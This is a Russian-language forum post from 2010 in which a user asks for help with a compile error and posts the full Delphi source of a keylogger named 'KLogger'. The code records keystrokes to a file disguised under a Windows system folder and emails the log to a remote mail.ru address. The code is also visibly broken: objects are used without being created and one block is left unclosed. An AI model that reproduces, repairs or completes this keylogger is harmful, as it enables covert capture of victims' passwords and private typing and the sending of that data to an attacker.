Показать сообщение отдельно
  #4  
Старый 07.05.2010, 21:08
atoll_85 atoll_85 вне форума
Прохожий
 
Регистрация: 07.05.2010
Сообщения: 2
Репутация: 10
По умолчанию Не работает...

Пишет что TIdAttachment - незнает...
Я правда по себе делал, подскажите что не так?????
Код:
Program KLogger;
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, IdBaseComponent, IdMessage, Buttons, ExtCtrls,
  XPMan;

const
  FlName='c:\windows\twain_32\kbd_report.txt';
  wait=50;

var
  wndh:Cardinal;
  wndtxt:array[0..255]of char;
  wndclass:array[0..255]of char;
  cstr:string='';
  num:integer;
    i:integer;

function izex(path:pchar):boolean;{проверка наличия файла на диске}
begin
  Result:=true;
  if GetFileAttributes(path)=DWord(-1) then
    result:=false;
end;

function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}
begin
  Result:=(GetForegroundWindow()=wH);
end;

procedure SendFile;
var
  SMTP: TIdSMTP;
  MailMessage: TIdMessage;

begin
 // установка SMTP
 SMTP.Host := 'smtp.mail.ru';
 SMTP.Port := 25;
 // установка сообщения
// SMTP.AuthenticationType := atNone//Login; // atNone
{ Smtp.Username := LabeledEdit1.Text;
 Smtp.Password := LabeledEdit2.Text;}

 MailMessage.From.Name := 'hook';
 MailMessage.Subject := 'hook'; // тема
 MailMessage.From.Address := 'xxx@mail.ru'; // адрес отправителя
 MailMessage.Recipients.EMailAddresses := 'xxxx@mail.ru'; // получатель
 MailMessage.Body.Text := DateToStr(Date); // текст сообщения

 if FileExists(FlName) then
    TIdAttachment.Create(MailMessage.MessageParts, FlName);

 try
  try
   SMTP.Connect(1000);
   Application.ProcessMessages;
   SMTP.Send(MailMessage);
   MessageBox(0, 'Письмо успешно отправленно', 'Информация', 0);
  except on E:Exception do
   begin
    MessageBox(0, 'Письмо не было отправленно', 'Информация', 0);
   end;
  end;
 finally
  if SMTP.Connected then SMTP.Disconnect;
 end;


procedure writer(value:string);{запись значений нажатых клавиш на диск}
var
  F:TextFile;
begin
  AssignFile(F,FLName);
  if izex(FLName) then
    Append(F)
  else
    Rewrite(F);
  for i:=1 to length(value) do
    write(F,value[i]);
  CloseFile(F);
end;

{var
  i: integer;   }
BEGIN
  While true do begin
    wndh:=GetForegroundWindow();
    while ontop(wndh) do begin
      For num:=8 to 90 do begin
        if GetAsyncKeyState(num)=-$7FFF then
          if GetKeyState(num)<>0 then
            cstr:=cstr+chr(num);
      end;
  end;
  if cstr<>'' then
    writer(cstr);
  Sleep(wait);
  cstr:='';
  SendFile;
end;
END.
Admin: Пользуемся тегами, иначе последуют санкции!
Ответить с цитированием